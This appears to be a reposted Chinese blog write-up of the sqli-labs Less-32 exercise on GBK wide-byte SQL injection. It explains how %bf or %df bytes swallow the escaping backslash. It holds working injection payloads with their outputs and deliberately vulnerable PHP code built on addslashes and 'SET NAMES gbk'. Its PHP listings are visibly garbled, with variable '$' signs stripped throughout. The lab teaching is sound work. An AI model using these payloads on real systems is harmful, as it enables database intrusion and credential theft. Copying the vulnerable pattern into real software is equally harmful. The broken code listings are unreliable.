sql-labs less32 宽字节注入

  • 转自一个不知名大佬的笔记
    --------------------------------less-32--------------------------------------

原url:

http://192.168.137.138/sqli-labs-master/Less-32/

添加id值


            编码知识

涉及到的一些概念

字符、字符集与字符序

字符(character)是组成字符集(character set)的基本单位。对字符赋予一个数值(encoding)来确定这个字符在该字符集中的位置。

字符序(collation)指同一字符集内字符间的比较规则。

UTF8

由于ASCII表示的字符只有128个,因此网络世界的规范是使用UNICODE编码,但是用ASCII表示的字符使用UNICODE并不高效。因此出现了中间格式字符集,被称为通用转换格式,及UTF(Universal Transformation Format)。

宽字节

GB2312、GBK、GB18030、BIG5、Shift_JIS等这些都是常说的宽字节,实际上只有两字节。宽字节带来的安全问题主要是吃ASCII字符(一字节)的现象。

MYSQL的字符集转换过程

  1. MySQL Server收到请求时将请求数据从character_set_client转换为character_set_connection;

  2. 进行内部操作前将请求数据从character_set_connection转换为内部操作字符集,其确定方法如下:

? 使用每个数据字段的CHARACTER SET设定值;

? 若上述值不存在,则使用对应数据表的DEFAULT CHARACTER SET设定值(MySQL扩展,非SQL标准);

? 若上述值不存在,则使用对应数据库的DEFAULT CHARACTER SET设定值;

? 若上述值不存在,则使用character_set_server设定值。

将操作结果从内部操作字符集转换为character_set_results。

重点:宽字节注入发生的位置就是PHP发送请求到MYSQL时字符集使用character_set_client设置值进行了一次编码。

PHP测试代码:

<!DOCTYPE html>
<meta charset="gbk">
<?php
error_reporting(0);
conn = mysql_connect('127.0.0.1','root',''); mysql_select_db('mysql',conn);
mysql_query("set names gbk"); //不安全的编码设置方式
res = mysql_query("show variables like 'character%';"); //显示当前数据库设置的各项字符集 while(row = mysql_fetch_array(res)){ var_dump(row);
}
user = addslashes(_GET['sql']); //mysql_real_escape_string() magic_quote_gpc=On addslashes() mysql_escape_string()功能类似
sql = "SELECT host,user,password FROM user WHERE user='{user}'";
echo sql.'</br>'; if(res = mysql_query(sql)){ while(row = mysql_fetch_array(res)){ var_dump(row);
}
}
else{
echo "Error".mysql_error()."
";
}
?>

http://localhost/xl.php?sql=root%df%27%20or%201=1%23
是可以执行成功的!

解析过程:

$_GET[‘sql’] 经过 addslashes编码之后带入了‘\’

1、root%df%5C%27%20or%201=1%23

2、带入mysql处理时使用了gbk字符集

%df%5c -> 運 成功的吃掉了%5c

%27 -> ‘ 单引号成功闭合

怎么吃的:

GBK编码,它的编码范围是0×8140~0xFEFE(不包括xx7F),在遇到%df(ascii(223)) >ascii(128)时自动拼接%5c,因此吃掉‘\’,而%27、%20小于ascii(128)的字符就保留了。

补充:

GB2312是被GBK兼容的,它的高位范围是0xA10xF7,低位范围是0xA10xFE(0x5C不在该范围内),因此不能使用编码吃掉%5c。

其它的宽字符集也是一样的分析过程,要吃掉%5c,只需要低位中包含正常的0x5c就行了。

总结一下漏洞成因:

1、使用了不安全的字符集设置函数与过滤函数。

2、漏洞发生在PHP请求mysql时使用character_set_client值进行一次转码。

GBK 编码,编码范围是 0x8140 ~ 0xFEFE(不包括xx7F)。


常规测试

先添加一个 ' 或者 "

返回页面都是正确的

页面hint:

Hint: The Query String you input is escaped as : 1'
The Query String you input in Hex becomes : 315c27

总会多出一个,都是被转义了

使用宽字节字符测试

在要测试的字符前加上 %bf(bf是十六进制,%是url编码格式)(或者其他宽字节字符的高位)

语句:

1%bf'

返回效果:

页面报错:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1?'' LIMIT 0,1' at line 1

页面hint:

Hint: The Query String you input is escaped as : 1?'
The Query String you input in Hex becomes : 31bf5c27

由语法错误可以看出,闭合条件是 '

再继续爆字段位置:

语句:

1%bf' and 1=2 union select 1,2,3 --+

效果如下:

Your Login name:2
Your Password:3

页面hint:

Hint: The Query String you input is escaped as : 1?' and 1=2 union select 1,2,3 --
The Query String you input in Hex becomes : 31bf5c2720616e6420313d3220756e696f6e2073656c65637420312c322c33202d2d20

后面的就不继续了

那么为什么就加上个 bf 就行了呢?

去看看源码

------------------------------------源码部分---------------------------------

<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");

function check_addslashes(string)//对输入的字符进行转义(字符前加\) {string = preg_replace('/'. preg_quote('\') .'/', "\\\", string); //escape any backslashstring = preg_replace('/'/i', '\'', string); //escape single quote with a backslashstring = preg_replace('/"/', "\"", $string); //escape double quote with a backslash

return $string;

}//可见,这个 转义处理 函数只是把一些特定的字符转义

// take the variables
if(isset(_GET['id'])) {id=check_addslashes(_GET['id']);//拿到id,马上进行转义处理 //echo "The filtered request is :" .id . "
";

//logging the connection parameters to a file for analysis.
fp=fopen('result.txt','a'); fwrite(fp,'ID:'.id."\n"); fclose(fp);

// connectivity

mysql_query("SET NAMES gbk");//很重要!!!!设置字符集,为 GBK。字符集被设置后,mysql就要进行设置的字符集去理解 sql 语句

sql="SELECT * FROM users WHERE id='id' LIMIT 0,1";
result=mysql_query(sql);
row = mysql_fetch_array(result);

if($row)
{
echo '<font color= "#00FF00">'; 
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo 'Your Password:' .$row['password'];
echo "</font>";
}
else 
{
echo '<font color= "#FFFF00">';
print_r(mysql_error());
echo "</font>";  
}

}
else { echo "Please input the ID as parameter with numeric value";}

?>
</font> </div></br></br></br><center>
<img src="../images/Less-32.jpg" />
</br>
</br>
</br>
</br>
</br>
<font size='4' color= "#33FFFF">
<?php

function strToHex(string) {hex='';
for (i=0;i < strlen(string);i++)
{
hex .= dechex(ord(string[i])); } returnhex;
}
echo "Hint: The Query String you input is escaped as : ".id ."<br>"; echo "The Query String you input in Hex becomes : ".strToHex(id). "
";

?>

1.编码转换

在php代码中,我们发现 mysql_query("SET NAMES gbk");它表示在进行 mysql 连接时,使用 GBK 字符集,这样就有一个编码转换的过程,其中 转义处理函数 不识别字符集,他只是处理特定的字符,如 \ ' " 之类的,在  %bf'  语句被放入 转义处理函数 时,函数会在 ' 前面加上 \(%5c)

2.原理解释

当我们的参数为 id=1%bf%27 时,过滤函数首先进行转义,将其变为

id=1%bf%5c%27(%5c 就是 \),然后交由 mysql 处理, mysql 按照双字节去理

解这条语句 ,这样 %bf%5c 刚好可以组成一个 双字节字符,那么我们 称之为 吃

掉了 字符 '\' 。如此一来,对单引号的转义 字符(\)就失去了作用,出现单引

号又破坏了 sql 语句的结构,就造成了 注入

还记得在科普中说的 gbk 编码范围吗?

0x8140 ~ 0xFEFE(除去 xx7F)

那么照着上文的思路

%5c就等于是和%bf组成的 宽字节字符 中的 低位

那么,在 高位 添加 任意字符集(正确范围内的),都会 吃掉 \ (%5c)

现在又想:那么为什么 %5c 和 %bf(或者其他高位)能组成宽字节,而不和 %27(')组合呢?

因为,编码范围 就是 81 40 ~ FE FE(81~FE 是高位,40~FE 是低位)

如果是 5c 27 组合,很明显

作为高位的 5c 不在编码范围中, 低位的 27 也不在 范围中

同样的分析 bf 5c 组合:

bf 在高位范围中,5c 在低位范围中

这样,使得 ' 释放

后续注入过程就不一一记录

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 219,701评论 6 508
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 93,649评论 3 396
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 166,037评论 0 356
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 58,994评论 1 295
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 68,018评论 6 395
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 51,796评论 1 308
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 40,481评论 3 420
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 39,370评论 0 276
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 45,868评论 1 319
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 38,014评论 3 338
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 40,153评论 1 352
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 35,832评论 5 346
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 41,494评论 3 331
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 32,039评论 0 22
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 33,156评论 1 272
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 48,437评论 3 373
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 45,131评论 2 356